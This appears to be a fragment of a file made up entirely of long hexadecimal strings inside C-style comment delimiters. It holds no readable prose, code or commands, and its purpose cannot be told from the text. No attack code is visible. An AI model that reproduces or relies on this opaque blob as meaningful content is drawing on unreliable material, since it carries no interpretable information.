eb905234ad2d068eb8b0a237ff522d5c3f944565671b2b87ca6eea61f9ca0eb94131d2e5e0116338dd80967c55e40c951ea795571c709758e9b2ee2c15303f712e92fb027f86b514a70f834d3beae32691638aca4b162ed043275ead668cf2c60a19e26070eec7f68addf2f31ec8495bb417c8df8fce609c4baa53de783de677438ae68839dc3df3daa325d2e9edb58cd4e6275bafe3472db397b1ffe4a720a35db08c7b925f8b081246aad694f5ba6e1dfdf35c4b007551f5c2c20d5f6af302cdd4939f7e972aa6479e330995dcf8d909297e16d8f82fdb75b8571856f9ee14d87998d8ef48554e6142dd1700ff81c5caf9f6f72c122826298817d69bd6a8e639f6cee2829ab53805483efd8aa31161f17b97b175e21512dea54189cf3769bcb337feb0f70deeb35176ae2b3c55d5be2a6c68644dd5adbcc7693c4d79b33f65e05cdb3ac2e6e2bc1caab4f10c0111a04849174a09f4d165aefc74a162292f2cba2064eb1f0f1f9c2b0d60ebcc6cdaff9a1b819df74cc4f1dfab63994e3ef4652ddcceb5b46f568a6162360ce5ba216acdf0527d4610e93668b5b6d891eb5b98c41207fd9ea6a23ba25c20895acec484872ef9c2fc99216811fbddf533e7f4d2536715edfb8fa267ff371d1ab3bde3b2c9fb6b66af9e1e4763bc4bc9726a6bccd7ae833aa6e0bb8379*/
/*f80bf0b8bc1d70861a5bdb7eb1bbe124e9ff128f31bd5b800d5a14b27ae0d550ec2ed88c7f9a25dc6e8ac200a6da6684b4ec5b0db4a93a4bfb083e27d92e00e775c4f58b1883c45676297ebd5757cfec9399f60d747464ab765e7782e737c69607050d9ee151d4b3bf7a15ddd6d26d4ca35c9e767946ecc8e722b593bdf3f26f50d5e2aa7fcbbd652d3661c8a00c9bcd390842294534c6ce3b96b2d291c7e0425728e05f01603ab1af60a44680456b2082951f2317c0959bc77658e4ec221159665a9e6cb5a0688e755cfa5e9a40515abead8a530543366fd0e0d3f1fe60c60ac65e6e6ef062e04d52e43c9a7bd297d218abeadf4cdca174ad2cb21c084628a0b0d0740fa3c3eb4917194e0fd0562c85a68583df6070c8b00f5c3851bf1aa1531f9d2571912864b6ca46a39fa6ff2690727a38137ea5ba1dbade4ba92bcf4da5377ee42eaab4183afe231cd118ef5d92b7f65e1343b73a6c4370d4182013220a76e5feb5c4cf59687c410488d64e94144101b2b239c5d2e1ae89e38e3c1c24be877e22ee26dfc96836370f8b8c72e46f72b2892cc39b8544e77b0381b9e8eeb57c725ecd20d23c7678ee9bb1aeb9c84b59abe4f08b056013aaf6bf81c729a29be75e1063f69110b265089a201be507b4604cb452fe29ad9216636adf03e56a1d0ee63dc04319b3ee219a2a702b13c82e97fd36a9e6ae023630d1525556d4cc54a80f542eb356a3ebc7f32ba8d80026ab81565025802db399cee27410b4894273457c749c58c737ba1e14769514c1419ca77ca5ee0f5a96446f9419bc90c06bd817f0a4d45cde0b83ff8a5e5d3243464a928fda0f401c2e6973fa60515615c23afdb9e145c9bcd542befd990579b58211588119b87581d34506d72625d07e78e9785aadb70244bb4de8f8b9f797028f25560631215d553eaac363fdd58310b655c6139da4bacfac97a8f83718f6111d3bd2d14b6f29024d8edaa23ecac0e18b30ea91e32ce31ca8fe39dcfd1e58d2591598baf92c6a65a374e3b7c28bc6a53a09a6604122044fbfa405851143c195a9d815a76cdfb9f65fb34c7364af2186c766fa6fb332d05893a66486c9eed19c876ac35aebc051619795216245328821c5e1c3159a611c5b23594171a7fe8237393f930f2904b93de5c580fa38d7bfe459f0c4c22c4172065bc8ab13e47a329f0a05213ec64819576caf8a8162bf8f093472b26e426da370339df7749ffd3e58752b2119d28beb1d10414cd14bff5acad9fbc8eaffcd863e4e3293140f412dcd6492d08ee9db90d0b8fc1a521a27fa26aa03561c986ecc30550dac5d57d5a1e7932680c82a01a9247e320949ce097ef60a66a9c28ec1ab7e16ef502b185141c1b8ece183a702e3c0a9cde795801795db36c418549f04ef24956761fe2a09aedb309a4a7db1ce8769e1fc0f4b8c842aedce8f8dd24d0f6701b72440e0de600b7cccca0e45c891f39b69afa760213a787a83aa606b1f62b275d3108912f2ea1767e4c190a54d9315101916c20f26fc7ee945ce238eead073a7b224cf86f8f1113a25d4d24431957156b04085e43a84fc82b42877c4f312bd4dcf28e8f05f683f2e92310d37f6cefab3080fd60d2fc8a45e70db656495ce7842da63b3fc12e5cbee18fdb1336204ab6d30d65a534ecdf260d7f964b339c6b1a700a35019cbba3ec83a6a050d3d6e046166522da9b219639b1bc467f3d05f0ef1f7b50036694b3e4164262c9d3ce21af89747ab6ffbc0d8bc23c29fe59f5edb8e738a7e69b7f8e8e94db9c321d678527c5ad6e5aa360e75f529a511f081b9a1c2b650f4fce1782cdaa8ac6bffed764e8d87aac2a20d2a51b3344e463c9b990bdce65b1d1df7b634c58f38b3fcf213c3a59a6b2066ef54ba8513698bffdc2514be3cdf1eb5c616ceffa3ae21dadf828a1c95e92389f0df922cbb6e9331f5c69fe35264202a66bc4e17988c256bffc69de2e47377fdff4679924ac7887250e6211eee74664e4ed015dc5ee2816bbd13804dada5af1fb35772af631fd53e35146b9184b923d8fe3a11653cccce16fa4b8fe8db49ed463d1b665bc90d470cde0cd4d161e670a08db8b827f93206952c5e6036836f32009f2e8a38d961e026f2bd9b28c21e11434a3565c7cf9592a93d7e70e568a76990e85cc1a89b75fb5467f9f08062ddb85d3080b95cf337e8c8400c667c997001c29b98bd3d462630c909cf33a8f7c8ca65fa07c49c22c939523df528920ca523e7decc0a97ed9adce83faf370e8392b3a03f0e06396ed948ea0f9fdbe1654be2324907c2bc8fd5886f3b643c71f54e7811df688e2a6d5fab97ba59719a4eb045e33c46bee3380e4d2261ff3a5a49298d4560af44afd48eb1d2f1dd6eed44ad4502d330a3775744a68504448f44f591c5c0e26de16609ead6ea9ba1bd33fc7fbe385645d9db05e698b312bc9df62f5cf89a1d0c7d70065d8da1ee5876b0dd3059bd08cc3c3c99951bdba69acf7e29d242d46b72011085ac1d563229250b5363e2a9d9b03ebb2b3f564e6e363f7d67e1f68dfdf8e6fdf0c084f2dc9e220f1b48b105ecb04353fd3f7bffdf900da99b225d2dc69612811a011909b611d03edaacc36df0c74cdfb1fc7254d2874f4af6d2d22f1a77fb29625c7e096f1edaf947c21bee1a53f34ffdfd36638c45b4946b15a84de87fb24f0cb609185bde401ca30525bd700ebc31345c04677657582274e83de80e1eedfc0d123a2f3f9d4913f5e408e34157f5db135e6b0994e15ea437a11d860256c9665178c990adfd8fedf8b1054940a75fa16c8b586fb7595730f5887d55a0aba85d75c0*/
/*8f57c624604bb9d26e3bca9734feb6b12e2affd69048236c0d2a46afa746382ee2483520eacb96933e874c1f272a6f82d2b92f70adb61f5ca5bb43fb8046bda7b4532e73d49a540ffd2f059c5f13e90679f7ec91acb486acd942bc1807f9d96a743e3d5e33b5dc25b63ddc132613e2688a6dd97a501c6d6347974aa8683227d15e74286eda829fb89e4b826a0950b5f68fbd805ff244c6b86a151f65d38136ce6aec035b5a6902bc0688131fe88ba79e74b722c88d8345aa7baf818c06084c2e57d63e1f69f9f81209106ae07efe0e50d493952419380006977d3d54075b500f17a41d201a3b06ddb79980077f3c03f0523b7ec98b519788da9738f7789c3f20a0f4c4b7091c921142b69f5b7aa3ae8f07ae080b9fac15935d83310cc18a63f3fc0ec64507eb4e766bfdf35c8eb383bf79384f7dbd98fff07fc964b368c1a4e557a4004678fa1a99d05b1d2b8429985d5d1ce56024a8ddb96d3f720e99d28266a2c99b09fcc7ee1ba44b23d65015f713ba6ed5ba23fc197e3e434f3acb90215cd5d28381e6ab2c69aeadcb0a413e2f9c234cb7976570ffbdd2d021c5ca6a541e429e58a3b309aa2dad33f6a6cada825560b36bcfd63a3b2ef50c53ff3aa57c5574909d3f5078749e0fd4a5241ad6ec7884db90f805ec19cfa5741ac75eb3e2a68d9661870fbb54ba59f414167bee80c4a7836439b98d6a442388f4a0c1e018d49ad806ffc2feaf4d96fa4f973a6522e1b1ecd59d22b5f9dcdd3ac8fbff4a4d6b66cb3adc9cdd128ba94dbc24d77ef227913da39ee5e570993d54daf04b48d346fd436c61eea4067b71b23f3deda7d4fb6078cde106fd8f2af9cf17432d80bed6c0c7b60ef98f0c6629e38c4771270ce1c3831d51ad1b63ea4faaba3064b21a806e324a5f7d3e49582e8e97d485f0c4fa19d5903a21fc700ba0100ae58cc66bf84fa043972ee9b7305bf5b73987c78ae58504cc33822524fee534c82f208b5856b89532cc86470d1c7955f45f7f7bda08062b219812268692d2560206d27b741c14b284fee086b60925d2bf4809cae9eff6083d14c58e89fe885b0cf1a50c2a709eca114d1e8a8598eb0bea24f7508ff0930a98c783361796935ae7c1e242e445761231ac7832c062f7d6f07eb4c8423b67aff1ce602cea73e8f277749a18db63e85ec0139f2b311307715ef2d2851d106533a442f6511fde9ca2655c181165915950c9d177fb4964eee1f66e59e5b9deee4a82f5aaf69003107a0c719182f76979820b5afada63f466f797a621a76d993341ec0cef69f0eb7084e7fa847da10930a96d064f460f2e83edb91e26349c1d8915f0c97da9c5bec90b38e7cb67b9be4595a69ca8b9952a840ffc08996536c6419bf932ffb420a79749a9324b90dfc1e372ec87d42e285fefbda97f4ff445b3bda7c80a8f8ac800b8e5c9bf8ea1713bead33fd112f0a3e6bbe765df2e09d84b36c3d27661153bceb5e11ce2db2c69605dadcc9beac45286cf40a8b59ec3ccbcacb1e24cfe8db375ccc9d049e004b355c1eaa6e3b4b2516fb639174833f3e478506202e45396b88d0baea7f8d33c21be65ec194c4c7ce5d3c2c2c08041e10509d55e6474f937bf2bc3b6f634ad6c9843db33297c4a07c97cf28bd8eabd5524c9df19c251a1cb43e72b333a5a611c156a818b4388879b6fa5aeea71ccf7a50946a0bc1d7255f54a4d4270670063268098878e53830a01aac88bfd7e856fbe17f6c088111363d801d1abe0ad5bd6cb1a65dbda3d32085bdab6bd6f03b809ed5c931ddb47ce57d2b34e438f2871be22a1d76b300d5063b3492a3568541c0da2da13168eabf6973bd17aa3271ed10d3b864a1fbcf79dd022da07384c7d06ff2df23afb19267ac1b05bf40154413972b39553f1fed21fdc9075f1dbf8d35f710a79b0e349ba12e70ef27e4332099d1483d74d0414c6d4586044ad54dec18c86debc4137d33ba679abde83499bfc209a3c6d86dea8694bb0b340b09d4a1a022b64fce1b749272e2eefe11848054b34dc89d7faea4ac689bc760943865f64a5337dbc21c1b68581c3807b6ecbdd2e5133ffbdee0585c543c11d60516468c6fb7166e304736466c8f79486eb66c4dfb41df7dbdbc01e6341d81dde9fde8cdd4ebede583bf154413c7cbc477996de6f8c0ba8835bdf39599aa50d81377cfa53ffd09058862f88c55fb52c8891e3e12f795e33f6127e94c072f1dfb3e11db0f9f8cebe23cf4a42da3c35c378a3ae6f2b5178953bb2f3fcbb8022bb22f261a32cfd680869c613cb74086214a0bece104285c8065ed36127673001cdd88573f93e796ebe768f302192f4521ced257796f22eb96de565a71ba69f0688f402f556262722b3d8ab4e5804a39d7fb701ba4418b153f353591df7748cf46b7d6ebdb95e36d409ab82b2552972872a1f038ca6473384c7a77d2cb66871866e0a9f6c631a1f739e4b9d514cd9c0390e68d2e6f0c5abc6df186a87411c4b922bb63d0baa7556e23b45e904d3d6e85298830d556f93198f46a3fa783693a3bc07140ae089ce280c29eb0058bc27e66843e2c44562b3d12752a841dd1aa117adb196dbd27c3118ce9180f2ea624c32746e9bda45609ced7c9aeb6a82113c7118b418b7018f5e99fecf4d2e672d32c3d1368cfc40cb0b9d950cb1cfe491c5107bd98fb9d0b67be4c3829d95365d2b117127b122903fc39ae9e2f2274b5c6c27b60d837233f6748e96a48ceac87817672d779b8022bfb74f9732041d287429bcbf0da505ce6f1b9c72c59eb96627477cc11d70ea6e629ef03de42e5b485517be800ab2bfe1d342164283219f*/
/*e114c0603c4c2b58e99f563465118fa9a64b0a0a447054d03a18d07de8adb4e39dec2c8b43d6647e6a517405b069f279d588d31f7b788a5329326155c7605d5177518c4db7dd685994e43ad60a104493b6f3361a211640938574bdb575b15d53a34f61408026075bf37a981b003789be1a6ea167b2c8596b29d96e9b06a701c86f308369a8564a853111bbf70dd3782ec48a0de35ef8ea98dff62ce11965e12a4bed7248e1559b9ca3c4645d1484ed5a8222340a1a4fc84116fd41b2eacece5c0eb1a1a6ae351a56beb237a4bc4eeb5ffdc744895b4fa6e545c15e1229d31150b156ffa85ba174d1ffcc03aa8f7e24fdc7494c3956227fe99f3581adf2004fa44759a162df7517cbbb4b6b51c530019c0d4b66458f4c198fe7bf11f629125114b4a36c3b548cc5147ef25b5028786cfa46ab2f588fd1372ebd13087357c1f1779a96989d04c0bd4310d2a69be327b1c6db049d39e8acd5e7674b61a12515cb279225fc55077c4ba424bb3bc4abf3288fb57e54aff8675cfe2edb2912b4b25c121100cc2002b42400a630cf7fa19e77c627da0e28d869d234a35026f03c3cc120610c9fe29ba8c0503d21659ff67044237aa7f4826292303d01c7d838dbffe1e197d0227a90df90b90d1a6ac90d48c3a09db297449a2cc4f230bdd9e840e3ee5393a51beea7b000f8c815b5307cbc89f092408b464071b8f2fee024294e401a3fa9ca662addf823e2e45c0c1ec8244b0b983cadcfd2952461869362ffe00e229a9505dab22198720d9f36b31f8554aa213495e2ac96fd4d930831724975aa5e9ff7f4fd99ee062fef2da77a96237cd768a6e746a1184f2a1680b192e0b4c9cfc5abdd7be8395abbd6d7da714e1ec6c937f2beb6925636decfe8239d7d29f84f0f0d77c1b3cd86f066ca6140dc57f3054ff30d5b0f94521c92683b4ca6afc9d327b8de011b311c3f682391cc025a4af7c3967102d17e350b73a30e070da1f9b289bdc83bc1fb40105a321dc08630ea87c7f3a480b35ce98ed37837cf2e1439d3e7c89d0a6de997d18b1a0f28509f0ff52f5eaf12f5c6e15cd8d6e53b3b4926586b7fd5414525fcd1c8762e92546f89671c92eb8f488cb954d395f0dd11208980a6bb0cb41ab5cc72e5c5ec357542aaaece2ea268065e0574f801714e8a28b9f84ce933d3845397661a88737a7056a647a3379d0e3f5935ff30a2d9a0c0134ff694570b9b0ff49521b03818168d9d0f4ac0734d071198c902390f3816a26c5f3166439306d1c7e5ba7e55a00ba3744493cbb938160616cc007c698e10f8406381a247170d21de125f6e0e801e605d5d6cbdbf0aa590ca30fc6ebadfb00a2cdc47797d131ca6c80fa818a6fa920cc9fa91445366b07365cf9022199a9e5d71183212bb9a5a786ebc06c7b6b6684400862ef4c5bb6adc6acd56c0cc93e05b2c8068086a81046d3395b866639d89b1cbd65bbcf564906ef41a19f57ecfb285e6d70f4c4d8ac6077df79ab8bb8b449db8df7b64377c49a6ddc4ed0e4d9bf130dc03758a6b1ee6df771420c265951e4edafd5b84ab8421ce9e6aa8c26b4cca3cef85bb6ec18ff4afc395996ec943be18388dcb44b769da6b7fe637536502ffd058e4571f4c94a85903c6b1be196764c48b01e7508a62ec0a6b78e8085e67be7ed7360884c44ee56d58c1dc52efbd3b3579dcaf4b65bc8d3367319e4cb7be93740a322ad993f8e33d5b0b62b3c536530635af2f6a03ed70b6bed63c41b763cff8017ded1b245249cdb0b8271e3d3bc7732eaa204d4e0086a3cd88d84e124224522a469b203cf05bdf760f5f3cfba8ce93f3761a12185ab4371fbaa5797f99a8ee5079b8fcb78fd43c81d2fd22d34f7a74313a7866e24c84b291b9af05f298269bc607eb642ecf00a2b6d823d8dae437201b35e9004379960c835f73d326809ed4887fe458299273b819540035d54b594a0f6d50118a29e2729e8fb581e4602bd1a674645fbb78d1ba1ddeacbcf2b24c5ab2c7fea31f1485df69fa2426977b70c45cab873752daf5f1acb1d0de1a8325df2cd58c0f84723b436d7f617f82f35092e806d8ec136aab5a19694f797c4203219c69cd8a6225abfea4d68f0b13f214b67b273ceb364188c793259d96a4082431025efeb260cb27eec715aa978630f01305c4a9e0c6e7d9293e624bf0e84a936a95d5f481111a3729e727f74f68098687dfd256718e102f2815a0a14aacea39d5809ead5420f85285ccb3b906d68628ef9ef144269560e22b2707fcf511b805ea503f9704d0b7d5940b64fa164639dff51b4f40814de635dac51ba5e391f25b97dde274532aa53598986877f1ae952ef96a366a2d671c951cb27cb9d05b4450b8a63a507e2245b22536b34b2492bab4c5facf719351171816373cc911830fe3aecd9073a67fbba6281e5af230ee2e902fef501d654e08f245a9e13ac9f2b5bb8ce954f9b86b242c20a1ea6243d754fd32798e719646b2fbeb763511ef2a9d7f20dbadc5b5d49663a3d8bf10502accc1bcac727b3d8130b059b05d395b6a6b2bd430009615f2e60c5eef9248159266163a8240575720b139301f6fd177e0a9bd31befdaaecc3572324935ae42df61c51ca4150360c352fd7cc49a97c1501b591ae8be60faa631c6449802f54f927ba7d132e34231212cf62b1545477d7716f17e45bd941c710218740e51b4cb97917d48c5e1dd4aae4b793740990316567db74c0e755aad20ece7502e3deb5466abdf4c200e9c0f25c39a37c69f3935f75efaca5e2db4e883aafe3a41323f31cf8f33aa624575ad35492ac02a825206cda9ecf784d9266d4*/
/*2182c48454a01ada30391e443543a5369677dcb03fbfcf21f1aa3d0730f605648d47945de4350f04864acea6b0c4fcb1c771ca760e1e0690391f3b4a884b99f959bb668968343ab88864b76a93be237c016754fa182bb9a961189af1b41dfc56dd48b27da5908a29fce6d81f3d263c7aa4651b941b647c9d654c9e0a627dcf03232db7bc4cbdddfdbb25c11f6dd83879f08debcddf613057d25c67e77e5ca610965ad6f5fd1346cafcce38244df0817675bbb9582f775e3ef2fd49149b2d2c088ae29040cb2efd97af1b3d87f1c0768590cb9b57199c6715f2befe68eb8be9ec83cb71b883aec4a0e6b52d36617bcacff7c42fc423784dc58f4c70c394417b4e1654f9ecf71c0566b27f62920b6f4b91fbba22c3d36f648a3606e7635f0da9e56353086fc0ce4b67abad1e4e75e9430d88e9bed6df1f906069a80f2a52b4d97ba21f3a839cc4fd092ad1191fa5b96fba0c7afece246924756947ee19e0a31a6e69766191f2d491bde0a76aec05c32a202beef423f40d1586cecd1687eb392c871e1ccb3cd8f133652f8703a1c4934a30af8b16d5573b0580aa1b5c7b6be43a84515d7806bceae0a3e80fa407f9311cfb80b87a69e593a8c964a3906340282a66e32ccb73c57abf50b9aeddb74286cc499d8c16f490f465ec76e8a58ffdcdf54940032c3025be82fa1fd56ac83836c1f242ad5288a85ef88c6b31841062bcab2cd102c6dfbb95e6432c3d1b0fa3cb1c31f920353539b64dbd57c9ba3817dc691a94fb1222d581eba115fe3ced4280f76e23ac713430e9e2260007c2975e1653c7edef763070fedddc1cfa6b3987bdaf68e60262ec3f0dc213ebe7ed38ba6e14893950fc22ae0bcb4824ec5dba7380bd89b56f942ca2c37cdbc66cf9f34c4fb0f9b90d89fb435079811dd90471bcb1052f142f1b62aaee613f05d62e66e53f7dfc3aa359d8f4ca4034725961723d5bac747f502cbb528a24371c299bd25d3979e7ba3f2ae46b1ede4c2d0dd775d3e123c3ed25bb7288bd280a222e8a978553451da1c2c97534ca0dcc6dd2fba9f019142aac70079fae2d1d2595e5aa72ca2efc31884ee9a5f0564ec97097d4ef3c49a9dd873a170d11682f18ead937779a9a36a8fa58325eec7ae4c2593a736e9e9828d18b06eac48c4b05acadbd9528066efabad29d8abcba5d7afe2973849fe1eac44f9fc333245e38b971b506550b13ac7f1bf6abf3dee82741ea5d68d17deaf3ec869e641d2e8936df264d131637b1adc8288d39becdaa1126fe4f7f45a5732ea16f261dc397b2116404eb87e9aa47037cb23c397e85346518aa9425ec0acda208e9ea9fc170b861c6172682c8c5e936c352431fb89914ae628cc8e53d26a4eff2908adf6eb4080b7052f6417fcfccae90239de205dcd7b4ebb4607d9feddda3a364b4c2c38fc2d5128cd85295a18d1a82f306aa79edd39af5931ddc227c3cf5a558614e2739bf7c87d45af41cfc4980b8b8166badf355e5f10252cd65d92a74ff95ff2175e99f8917687b0913ffe1b02e0346ee4127d4ef9c15af4216d096afa90f3286ec19e42c275a0e32f671a7c5a498dce6dca87222cf3c6afd27b4c1c42ee5ea3f26c5f15287d139dde243a8f4c5451b9831fc63af8df1b3d3d03dced70ee806fe7995e992348f2934aaf1fe004926e67945394bd1e4579c2b033c20ba37b16d882aa6e143582b08978b8b3d5e5a297c8bdfb0a654507956ebe43e42942d23c913acf90f2e1c3d349e40704faa11bfdfa47e9fbfdba4b9babd9e571c493c5b0df28c36c3cbb7afdcf52d637dedd31293edbeba8990d96ba5c18429cac62d58fff08efb5cc5cfcfcada7a71a537656c2897ba99d7be9f5318acdf88a31cee0b212a4c9356862293514adb4a89dfcb58946f3230c17000a15af3de2bc1e13f253a64f0a5778a7614ad86cdd2d15d333147197e032bdf67a5c2c38cb2de82f36181a204895b8c7cd94b86d65219ad689c84fa3c11f77c1f388524d154a4b5d437a668089190b5c7df7f39a4e3a59ec603294935da80fd2a55aafaa34a2fd2aaba44329220e11826f26f40c578330523f9468113a00c7ac24039a5b8f88662d0c8a463e0128dd1756aea2b46920ed36f872c14f726e387167295ba9723156f37c04fedc7a8ca5688ac001005a65feab9aeb181763716a68786b8100abbcdafa1a6801c4261eba712feee35139a1a9ea3770aecf6e4b920f5421f7e8b4122db4644fcff0d58ea6190ece49476005cca68928cf01fcdf41f061ef942399417d1d2cc4be23a3e71794a0d24d83c9da1d6686340f74d35b97d591343674d70f4ce064d897716a806d9fa2ab0f70a47f0e30eef19fdd0f41d649b8bfe6c79dde253f49631a013fd2699a67e4a12fb3d99f03427587382b5b135848dff392adbb5c79f77cd086fe2e5b1353808976c3ba7da2a78ebee0094ccd15ecdae5f235f0dc40f004b9a206a4d191db1e21ee86decbc53f30baf8c0023f503c129d7e9110e49a622bac1fe0ce33aa421dd2c617356a1802bdc9f913f0bdb851385eb3617fe3389f7f82c103573b2923805be55ec76700552cf9dcfd694130842dfdfc3c3d9766f1f3be413d7bb3e902818e31fd923ea4e9744222aa08cf6df6bba135457d9ae8e1eca0d830692ce73afd1f33ba9e4446d8073927bd6fe5523ce766138abbecef4bcc79e2e1983372a1c82b5ba3b53b5f5f0f49a92fba91250742390d3760db0188c9f548fbfa9d05f798cf8b2b6cebc7455e0aa1c782b2babb44d6b37ddc6054c752ec788100c4fa3ead4105498d819181dce1fb1cae86d3574b61e33d673d5c543*/
/*a373b53ce3bf809237eaee9a3f9d579dcf78668d1c395a7005af3e1b3d952c17d2ecd4b865de6379f004139a7d038ca1cec135e9abfe121213fa4029e706e8391318dacbbe8276d8d2195ff6673d2441adcd5ac1dd7ff4a683f15b6e7a7ee7c92cbf6fae7ac628c92e50f9c27292e0fd1f35ca25c67dbe4d6657decdfff95bd4d47150b507b60bf5787e7d9da6293a28c060a100a760e47bdc17e6f07d441b2029dc5e59c965540e83138538637374982ee9ef18446258e99648cf2adee4ae75352a99cef1cddb57cad3a94768745825a13956263381d4dffaa413ea5c656ca027a9a0244a3d856cd9a34a4df47a5bb57b1bb448555262d049694adc3a01f1b607dea60a9f63e1ac6693116edc6e656efbeb5ae85117b77c18ef8c01564896253166e09a2ffe6bd643d6d54226dc4f12f2d801f4c234a4515f62a601797a87c29fb43214acc50b6e743505a3a5212bcf7251fb756ed7700d6c48fe1175491af407c7908daca07f828ca7f3256393087d519e61b8e4ab43383752094369f90425c7df5b896535eb4f7c7342bbe48754d8fb0ea0b923193a09a431d08fc775d6da2fdc922ff957b48c8aa519372e7ad65a35083abd5fe3b8aaf8fe1e641e0f61ce57f6497364bc28695a1beaa106a41d11eefb61eb9f993de294d2313415163d4d9d27541eb16f750e2c1ef7f4b6f8e02ffb3042df2fc81e7bbedbe4dc3739135929e7af8500c4251afd9825883e521bbe91154aba08846890a7a99e0d17f40c2067692fa692294f074e00f71bdc027df6afabd892d0b9b71686ebe8794c3be2fef66b78686c2b19634364e9e015a154ac2628a8ccd5e1f309fcf5b12b7b979fc0002eedb305fe3744e7cd875d36d0cacde8b0b7b8f244e6a6a79e9a021cbd0243605b112b35c5006f590766c83ed6ca514a81fc5810248581c466acdafa55b2902e33d3d303c5bde69ff0ff45c6d735366205b0da4c5f54011a78b27b6c494b6da2d9217ef5553183103c0a8b550c649d291a179f84122d999051dde314bcf6ae394612bb670fa61df2ad8a8fe424a8860178de087fd0ab20a1d142ba00262203e23fd925ce8f6f8682a71ec443253220a6f54250c723e54e7ec6f9dc59c2ea122ea140359c8ec416473172ee295777fb1ab1106d62935f2b767bb4f65106885663fb3271066506fd0d0fc6d1ace5216418c5abe59a35b154e9fc6521da822f8545ccf571fdef6cb46088edc117f3ce83cc32b875f04d986deb5aaa6fc7f5ba3b1c0a6521c53f2750cc4e4d308b406b192dd72b2fe9e4404c8a2fadbf3d76965fcb528e4422dc9e1c732a0478f3c7729d3cd412424369056e0ea58744c9802b7f45566f632b8a2348601ef8b5e601b3605358c66e1ee4ed1aa26cc1b1b66f02d2c3bd930a27659bfa3a1a16fae77b23947f0d5375a1ac4e328439dc6459ba9e665b49814809429e11ae240bdc22337d532923251cfdbc4a00e02e87ba9ad07328a504c3cd16aeaad1fa6e421689a972a2b22915db30ad7fbe0fc83a9a166bdd7470d40a2ed33e03387d0332a7af04884035dd032d09355616b0eeaf1059b2951ab3b4535af846183825662910c0a769c71a854ca7fa8cf0686b2a1bcf37054f63a358bce69741f4978a6f5c7da69c32c37374886a87828f80a9181ba92a85738e8dd57ccb135a37bd643278ce530738db7650d9e83d9e9b181d80b13613e914fbd9353b4a55034a67e65341bee81cc57b72dd24387eb486d29606ed00e5257af2d7e21acd89e894f4d42301877d8c401eef397f0be5fffd9adeb402db36c239664b89c512ce5291ea9bfee3111445b654882266f7889bc5d513a39a9067307e8d7b8098c1f03227048c25cb33bf25b5908cf3b70362aa36f486c600cfafe3a7282b095a187bb12470f341ff9c05a0f934c9992926737a819821ef9777e3b7a1b8451222dcd562a30e038ef15c41da65fde02059cb4a79a3504e4cb8be4ec31cabce46d3eb9aba565c156ea303375881deb49909db8ec5dd9b458a2bd61a1bc1222e232cf033b47c15cb36d24fc6c2d4988889e56d1edb669e5acc0d5fa4adb4ac9f732e0ee8ff811300faeacc9eec862ad483bea943ed9f3389f7e4392abbee0f69b7d1a055808f77710efff9d2d81a22c9cc37cb38f3d11ec6c46138124110a319c613f4dcbbe7e1f97ed50d9c7e406721a061a76eb6820a4119b98902b3615da01c8d1602579da90b5ddd78ebdb232cecdd8741abc82b469252b612f75b565279912b5c89789cd3ed683d1a46b094f6a86b80272423c5fab3eed7a2c6278ff3bec0cca1a78947e14a11af13bb184e6a68e641e2ca79a27b54088a7d8a81c195809332bcb4420d63ab4ff695b7a882ca3eab1f6b2bfd2e0ecf9581944bb634ab2e31d17fbc00a2532c1f6bea398dd2c6b1b7723220a5d36e8ba7c7b363d669fbdf742882731ef42a5bf0168805539066bdfa5215ad0ff9b6803c6dae9777a1ef0bcb86e3c6c03a6cc9ce4aa5f4efba518b38f2d071c7a1e3f4f54f1d63d53788c9bf8d4fb09d2c4386e5f7365e4cb7f06d1223bb8b35f1058e3b73dcd350287c9866398025a5ceded7d918d3d5d4d6cb4f56031e0251958d628df9f0633d49b1d690dcd5b57f41f29d85603d454a6e6f5a452ccda56a0d3e004f8462875d0f32a613a8d77febeefc5faac595121791281d8b60799de1000d73fd47fb169003f6ca24a09b2624a6c98ffef28c51fedb2ead70945e18611cfe006a4fa521e3224ea4a03f3804409262df81090cfd764ad51958524bb4e66ab5fc3d4344e6e2eaef5a1a1b8ff0133b30cbcf82a0f32e267d*/
/*26de2f31ef65f24dc30292ef7f7e1542f24c91994a3ddab2dc68c606b1e4a07417664043f52b6c8a6f2740e25d5d8800ede86b5a830fbcd038dbdc9ca34301b3c6d38685b7dc15425a0b522058fd9a71163380a2c5558b34f03ed2e4157ca6fc5a41251b2df08468d7f243df5ab8a373b3b4ef2366466ae23e98840e0f1b88c503a62b63ff81bbc07dc1281a0cf6eef24623d43201a451459a09ae0abae2195e3b11ecde65d9c9d4aabd19100710cee2dc3cde250d0e00beb420830f40f4ea446334b6d382b3860a5fcee763724915753214e5a3a19faa0a9e4a20627729c5b7f15767c3afd2b945d7eca76ec05c9db049ddd083232b9cc805cb7d474253fbeb0e8e95d0d0b5c086d58f02340807b0d430bdfa439f174b39e212cdffb5c2c6291433a8edc0bc238fdfa946ae6b9b632d0a233f5e23706935810e878659a38c776c7864e0af694c7baa8d8265e3e0708b61ab02f801d671533b2a6672bf54d915682334577133c9caf00fb5157dce6c665cbc1aec3b6f3fdb518b08360fcaea3f352356210f3adfed59285f5b98278b87c296aac9f72f4f71ef546737b10ba9601505afa5f4fcb12fca4249268ee3c81bc4162d678a1b376171218a03f7d5d16888ec34b85e9816632f746ab0dcfd83a15da8b7613d65e306757f30837b32e924da81b17b547c27838fafc538802f66cbe1e8df0bbb0dac7d7e83f5a1be15f42023ee86f8002dd8d9901609560813c29b218ed7086e5b4fcfd7333715562ac6324ed6eccfb21bb69cb60c46879b1ed598db48f6407f9a1bd74357d8f724858f64bfe67b8be52154b1246458ae1c0c1e2cb9bf7706ff0bd7db1aeb3fc880699818993279f4f023395301d64c2420d125891b5f0e811b9e6eedb2dbfa2ad3e1dc183149e295f75ce7fa7076f72301b477addf3a21bf637574847dda2a8d2f37691a852c05ba3e8f8836a00361ee38a64e8fd5101c359df89831635bf88d4dbde199c9f771220f8f0a64ca44872077edb28112294bc04c264bc50e6ae0808c9c1444d0d5c06f5f586e331cff4ad429c61071481a237038c0bb46220fec2dd45b0265318b653401961f773a9488c0d4813c3351ce315e84cef19d59d6158490b119b7d1ca57a7738b59ef2adbab435d9d38c42459110f78fd18f1c254489d64e95274fc3a2d10e3e38d04d3c24863fcc93e24cc8f5de141d8a73a660bb65b25863837d598035e297d364bc19fa049f333db1fd9e83cedea072875773349a60798abd8b5f3c6d3ab130f55ba43d24f64d93f7710ffc09c7f81517d08333ed8ca40904c78147495a0e21705650849814697dbcadaab937a2d84be48ab588cd8dac66e40ebf30499994161d103ebe5e33b5ce10687dd85ce357288e120ce6bb91ee85487a6d5e601ce3288ac7459a77950e24dabf62c44039fac77d280990c7140c62ab22fa0